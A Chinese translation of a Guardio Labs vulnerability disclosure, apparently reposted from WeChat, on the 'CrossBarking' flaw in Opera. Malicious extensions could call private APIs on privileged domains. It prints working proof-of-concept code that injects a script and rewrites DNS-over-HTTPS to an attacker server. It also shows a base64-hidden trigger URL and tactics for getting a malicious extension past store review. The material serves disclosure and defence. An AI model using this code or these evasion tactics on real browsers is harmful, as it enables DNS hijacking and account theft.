Guardio Labs发现并全面披露了 Opera 浏览器的一个严重漏洞,该漏洞允许恶意扩展程序完全访问允许的私有 API,从而执行屏幕截图、修改浏览器设置和劫持帐户等操作。继我们之前发现MyFlaw之后,这一发现进一步凸显了现代浏览器安全面临的持续挑战。
为了说明绕过扩展程序商店安全措施是多么容易,我们的研究团队采用了“黑帽”方法,展示了如何仅使用免费电子邮件帐户和 AI 生成的内容,就可以创建一个利用此漏洞的完全可操作的恶意扩展程序并将其放置在官方 Chrome 商店中,从而创建跨浏览器商店攻击。从那里,它可能会接触到全球数百万毫无戒心的用户。这个案例研究不仅突出了生产力和安全性之间的长期冲突,而且还提供了一个 有趣的视角,让我们了解现代威胁行为者在雷达之下使用的策略。
Chrome 商店中一款以 Puppy 为主题的扩展程序,跨越了 Opera 的界限并利用了 0-Day
介绍 — 浏览器沙盒概念
现代网站的功能就像成熟的应用程序一样,直接在您的浏览器中运行代码。为了确保安全,您的浏览上下文必须完全沙盒化——与系统的其余部分隔离。这种方法是 Chromium 设计的一个基本方面。网站代码使用由 Chromium 驱动的特定 API 与您的浏览器和系统进行交互——在沙盒之外。这些 API 大多是开源的且经过严格审查,它们提供了一个受控且安全的环境来激活允许的功能,例如自动完成、cookie 管理和安全支付。
但是,当自定义 Web 应用程序或浏览器功能需要新的或独特的功能时会发生什么?这就是私有 API发挥作用的地方,它再次将生产力和安全性带入了不可避免的冲突!
通过私有 API 定制浏览器
上述情况也适用于 Opera 浏览器。为了支持其多样化的功能,例如 Opera Flow、Opera Wallet、Pinboard 和其他独特服务,Opera 浏览器使用特定域下的特殊 Web 应用程序,这些应用程序被赋予了独特的权限。这允许这些独特域下的 Web 应用程序(并且只有这些应用程序)访问嵌入在 Opera 浏览器本机代码中的特殊私有 API。
Opera 授予特殊权限的域名列表非常广泛且多种多样。其中包括 Opera 的主域名opera.com及其子域名。此外,用于工具栏集成的几个第三方域名也获得了更高的权限。令人担忧的是,甚至 Opera 的内部开发域名也包含op-test.net在浏览器的生产版本中 — 并且可以公开访问:
概述扩展程序如何将代码注入到宽容域的上下文中以激活私有 API
是的。浏览器扩展。这些插件本身就非常强大——安装后会自动授予它们特殊权限,然后它们就可以监控和修改您看到的每个网站或您创建的网络活动。即使是所有那些“暗黑模式”扩展之类的简单实用程序也会使用内容脚本功能将 JavaScript 代码注入您访问的每个页面,并动态扫描和更改样式配置。好吧,至少良性的暗黑模式扩展是这样的……
所以嘿,这听起来就像是我们要“取”来的“零食” ......(抱歉,接下来你将不得不忍受更多的小狗双关语......)
基于扩展的代码注入的艺术
要在宽松的域下执行代码,我们必须记住 JavaScript 执行是在不同的上下文中执行的。根据我们之前的沙盒介绍,扩展的内容脚本也与页面本身的实际执行环境(网站所在的环境)隔离。它确实可以访问 DOM 对象,因此它可以操作页面的内容、样式等,但它不能直接调用那些私有 API。
然而,还是存在“缓解措施”。我们不应该将这些称为“漏洞”,因为它们深深嵌入扩展基础架构中,迄今为止大多数商业扩展如果没有它们就无法工作。最有用的方法之一是通过动态页面内容直接注入脚本。
从扩展内容向页面上下文注入脚本
如上所述,内容脚本确实可以访问 DOM(文档对象模型)。这包括动态更改它的能力,特别是通过添加新元素。因此,让我们向原始 DOM 添加一个脚本标签并将其指向我们自己编写的代码(inject.js)。这非常有效,只需在我们的扩展的内容脚本中添加 3 行简单的代码即可:
let script = document.createElement("script");
script.src = chrome.runtime.getURL("injected.js");
(document.head || document.documentElement).appendChild(script);
网站所有者可以设置缓解措施来禁用此行为。例如,他们可以在网站上使用内容安全策略 (CSP),限制内联脚本或来自其他来源的脚本的执行。然而,来自扩展空间的脚本,如上例所示(文件inject.js,位于本地浏览器存储中,是扩展包的一部分),仍然会受到不同的对待,并且大部分都会绕过任何 CSP。因此,无论如何,上述方法都非常有效。
使用 POC 扩展来利用私有 API
将以上所有内容结合在一起,我们可以创建一个简单的扩展概念验证,并了解如何激活这些允许的 API。有许多可访问的 API,其中一些更易于直接利用,例如:
-
使用chrome.cookies(Opera 也使用默认的 Chromium API)提取所有会话 cookie 并劫持账户
-
pinboardPrivat您可以使用它截取所有打开的选项卡的屏幕截图。
有些可能成为更广泛的攻击流的一部分:
-
考虑使用management或addonsPrivate使用它来禁用、删除或安装您选择的任何其他扩展 - 以禁用与安全相关的扩展或“删除”另一个恶意扩展。
-
settingsPrivate这将允许您读取和更改任何浏览器设置!例如强迫流氓搜索引擎偷偷泄露您的活动、禁用内部保护功能,甚至更糟……
作为 POC,我们将更改浏览器的 DNS over HTTPs设置。如果我们设法将“受害者”浏览器配置为通过我们控制的恶意 DNS 服务器解析域,这将为我们提供强大的攻击媒介。我们可以监视所有活动、操纵页面内容,甚至在社交网络、电子邮件甚至银行等常用服务的官方域下显示钓鱼页面。
演示基于恶意 DNS 服务器的攻击示例
由于存在此漏洞,这种强大的中间人 (MiTM) 攻击是通过调用settingsPrivateOpera 下多个域上下文中可用的私有 API 来实现的。其中一个域是 Opera 用于测试的开发域,但可以公开访问 -crypto-corner.op-test.net
我们需要做的就是打开此域下的页面标签,注入我们特制的代码,然后调用chrome.settingsPrivate.setPref() - 添加专用于 DNS over HTTPs 功能的新设置:
// injected.js - The specially crafted script calling Private APIs
// once the page is loaded
window.onload = function() {
if (window.location.hostname === 'opera.com') {
console.log('We run on a permissive domain!');
// Call Private APIs and change DNS configuration
chrome.settingsPrivate.setPref(
'{"dns_over_https.mode": "secure",
"dns_over_https.templates": "https://bad.dnsserver.xyz"}')
} else {
console.log('We are not running on a relevant domain...');
}
};
// content.js - content script of our extension that simply injects the above
// code to the permissive context on the vulnerable domain
let script = document.createElement("script");
script.src = chrome.runtime.getURL("injected.js");
(document.head || document.documentElement).appendChild(script);
之后,我们可以立即关闭此选项卡——因此,用户不知道刚刚发生了什么。只有刻意寻找浏览器上的“DNS over HTTPs”设置,才能发现隐藏的影响:
该漏洞如何更改 HTTPs 上的 DNS 设置
现在,我们通过最低权限扩展获得了一个简单、功能齐全的 POC,无需用户交互(实际扩展安装除外)。
那么,你知道小狗在哪里玩耍吗?
如果一家商店关门了,另一家商店就会开门
为了使上述所有功能正常运行,我们仍然需要将其打包成一个真正的扩展,并将其添加到官方扩展商店,以便人们可以下载。这就是事情变得更加有趣和麻烦的地方。
当我们联系 Opera 披露这些可利用的私有 API 时,我们首先想到的是让我们放心,因为他们的扩展商店是经过专业策划的,不会允许任何此类滥用。事实上,Opera 是唯一一家(我们知道的)进行全面审查的供应商,包括实际的手动源代码审查。这是一个缓慢的过程,但比 Google Chrome 商店中的半自动化操作更安全。在那里,策略实施是通过自动扫描和手动审查(无需访问源代码)完成的。
当然,没有什么是万无一失的。此外,Opera 允许(甚至建议)从 Google 的 Chrome 商店安装扩展程序,以防在其商店中找不到这些扩展程序:
Opera 扩展程序商店建议并将用户重定向至 Chrome 官方商店
漏洞太多了。如果恶意活动隐藏在模糊的代码流中怎么办?如果恶意代码后来以某种方式从“ onInstall”事件驱动的“感谢页面”动态加载——威胁行为者仅在商店批准扩展后才启用该流程怎么办?如果商店中的政策执行技术人员恰好错过了怎么办?毕竟他们是人……
我们遇到了大量恶意扩展,它们全都在官方商店中运行。商店守门人需要很长时间才能检测到它们,有时甚至需要数年时间。有些扩展使用非常先进的技术来缓解检测,而对于有些扩展,我们不知道它们是如何在没有触发明显警报的情况下获得批准的。
在Guardio,我们保护用户免受这些扩展程序的侵害 — 而采用“了解敌人”策略对于成功至关重要。所以我们决定试一试……我们能否将恶意的、利用私有 API 的 Opera 扩展程序藏匿在官方 Chrome 商店中?!
“私密藏匿” 可爱小狗扩展
长话短说...是的,我们做到了。
在官方商店添加新扩展非常简单。在 Google 下创建一个开发者帐户,启动一个新的扩展项目,提供标题、描述和图形(使用一些 AI 提示快速获胜...),然后上传包含扩展代码的 zip 文件。
因此,我们需要创建一个好的扩展,它讲述一个良性的故事,但允许我们在所有 URL 上运行内容脚本的基本权限。还有什么比可爱的小狗更好呢?
Puppy Extension 的“官方”AI 生成的登陆页面
Google Chrome 商店的官方扩展程序页面
是的,这是一个扩展程序,它会在您访问的每个页面上添加一只可爱的小狗!这是必备的!要启用这个简单而无害的功能,我们必须在访问的每个页面上运行 Javascript。没有它,小狗就不会出现。所以,当我们在扩展程序上传表单上被问到为什么我们需要为所有 URL 授予此权限时,我们给出了一个不错的答案!
带有声明权限的 Puppy 扩展清单文件
该扩展程序很快就编码完毕,包括一个不错的官方网站,其中包含有关该扩展程序的更多信息,提供了通用的隐私政策和条款和条件,并添加了一个简单的配置页面来选择您最喜欢的小狗。
在 Chrome 开发者门户上提供相关权限的理由
就是这样!哦,还有最后一件事——我们需要把恶意代码放进去。有很多技术可以把它隐藏起来不让审阅者发现,在我们的例子中,相关的代码片段可能会被标记为安全——毕竟这是一个零日漏洞。
然而,为了安全起见,我们使用一种技术嵌入了代码,使其完全隐藏在公众和商店评论者面前。这样做是为了确保在 Opera 端完全缓解漏洞 POC 之前不会泄露漏洞。我们没有将代码片段chrome.settingsPrivate直接放在扩展代码中(这可能会触发一些警报...),而是将其放在扩展设置页面上按钮的 URL 下:
扩展网站上的扩展配置页面,其中包含用于触发漏洞的特制 URL
该 URL 包含一个带有魔法词的哈希部分puppiesOn-,后跟一个 base64 编码的 JSON,其中包含我们调用的实际设置:
// 启用按钮链接使用隐藏命令调用易受攻击的域
'https://crypto-corner.op-test.net/#puppiesOn-eyJkbnNfb3Zlcl9odHRwcy5tb2RlIjoic2VjdXJlIiwiZG5zX292ZXJfaHR0cHMudGVtcGxhdGVzIjoiaHR0cHM6Ly9iYWQuZG5zc2VydmVyLnh5eiJ9'
// 解码的 Base64 字符串
{ "dns_over_https.mode" : "secure" , "dns_over_https.templates" : "https://bad.dnsserver.xyz" }
一旦您在设置页面上单击“启用”,它不仅会启用该功能,还会触发嵌入在 URL 内的操作 - 从而触发漏洞并接管您的 DNS 设置!
最终的结果是,扩展在 24 小时后获得批准。这表明,在更有用的(或更少的)实用程序掩护下创建恶意扩展是多么容易。
另一个需要注意的关键点是:Chrome 的策略执行器正在检查 Chrome 功能和相关攻击流程,因此从他们的角度来看 — 此扩展不会触发任何警报。即使针对 Opera 基础设施的漏洞代码就在那里,这也可能是结论。
威胁行为者的下一步是大量“恶意宣传”该扩展程序并获取数千甚至数百万的安装,所有这些都在值得信赖的正版 Chrome 扩展程序商店中进行。
注意:我们将扩展作为未列出的项目在商店中短暂提供,并限制对配置页面的访问,其中隐藏了调用 PrivateAPI 的实际脚本。多阶段触发流程对于漏洞利用并不重要,并且如上所述,添加该流程是为了防止实际的 0-day 漏洞泄露。我们可以直接从“onInstall”事件触发漏洞利用,而无需用户全程交互。
最终结果——端到端
观看此简明视频中的完整攻击序列。它捕捉了整个过程:在 Opera 商店中搜索 Puppy 主题扩展程序、按照提示进入 Chrome 商店、安装扩展程序并激活漏洞。此演示生动地说明了跨浏览器商店攻击,利用被忽视的安全措施通过被认为是最值得信赖的交付链来传递恶意代码。
CrossBarking Flow — 从在 Opera 商店寻找扩展到 DNS 劫持 POC
经验教训
这个易受攻击的流程很快被披露给 Opera 团队,我们在今年早些时候的“ MyFlaw ”披露中就与他们建立了专业且富有成效的合作关系。我们建议完全禁用这些高权限域上的内容脚本,就像 Chrome 商店域已经受到恶意扩展的保护一样。Opera 团队同意了,并于 2024 年 9 月 24 日迅速向公众发布了修复程序。他们的团队还完全删除了第三方(vk、Instagram 和 Yandex)域权限,并指出,尽管这是该平台的首选标准,但他们已开始对其功能进行更结构化的重构,以完全消除这种易受攻击的流程。请记住,这些 API 在这些上下文中仍然可用,因此 XSS 仍然是一种有效的攻击流程。
这不是恶意扩展程序第一次入侵商店,也不会是最后一次。在Guardio,我们每天都会通过推出新的缓解策略和开发先进的检测方法来对抗这些威胁。我们的方法通常会引入创新的大规模检测技术,超越传统的、耗时的手动审核流程,而如前所述,手动审核流程很容易出现疏忽。
浏览器扩展程序拥有相当大的权力 — — 无论是好是坏。因此,政策执行者必须严格监控它们。当前的审核模式存在不足;我们建议增加人力和持续分析方法来加强它,即使在批准后也要监控扩展程序的活动。此外,对开发者帐户强制进行真实身份验证至关重要,因此仅使用免费电子邮件和预付信用卡不足以进行注册。保护我们的浏览器可能不是“轻而易举的事”,但它是必不可少的,除非你想在浏览器安全方面“装死”。(我保证,这是最后一个!)
同时,安装浏览器扩展时要小心谨慎。确保除了基本保护措施外,你还有更强大的保护措施来弥补这个安全漏洞。如果你真的渴望在工作时有可爱的小狗陪伴……也许可以考虑领养一只!
请记住,如果您的浏览器没有得到妥善保护,即使是最可爱的小狗扩展程序也会“咬人”!(是的,我知道……)
Opera 官方声明
我们安全基础设施的一个重要部分是与第三方研究人员合作,识别漏洞并在漏洞被恶意攻击者利用之前修复它们。负责任的披露是网络安全的最佳实践,它可以帮助软件提供商领先于威胁,并让研究人员提高对这些重要问题的认识。
Guardio 发现了一个漏洞,如果用户被诱骗安装来自 Opera 附加组件商店之外的恶意扩展程序,该漏洞可能会使用户面临攻击风险。Guardio 为实施攻击而开发的扩展程序托管在第三方商店中,因为 Opera 附加组件商店对其托管的所有扩展程序都采用专门的人工审核,以阻止此类恶意扩展程序到达用户手中。这凸显了强大的审核流程的重要性,以及浏览器扩展程序商店中安全的基础架构的重要性,以及扩展程序所能发挥的强大作用。
没有证据表明这种特殊情况实际上在野外发生,据我们和 Guardio 所知,没有 Opera 用户真正受到过这种攻击。在 Guardio 发现之后,我们与他们的团队合作部署了一个修复程序,该修复程序在 9 月 24 日上线,比这次负责任的披露早。
我们感谢 Guardio 团队在发现漏洞方面所展现出的创造力,以及他们在报告漏洞和与我们合作解决漏洞方面的勤奋。这表明负责任的披露是软件安全难题的关键部分,有助于确保用户的安全。
原文始发于微信公众号(Ots安全):“CrossBarking”——利用 0-Day Opera 漏洞进行跨浏览器扩展存储攻击
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论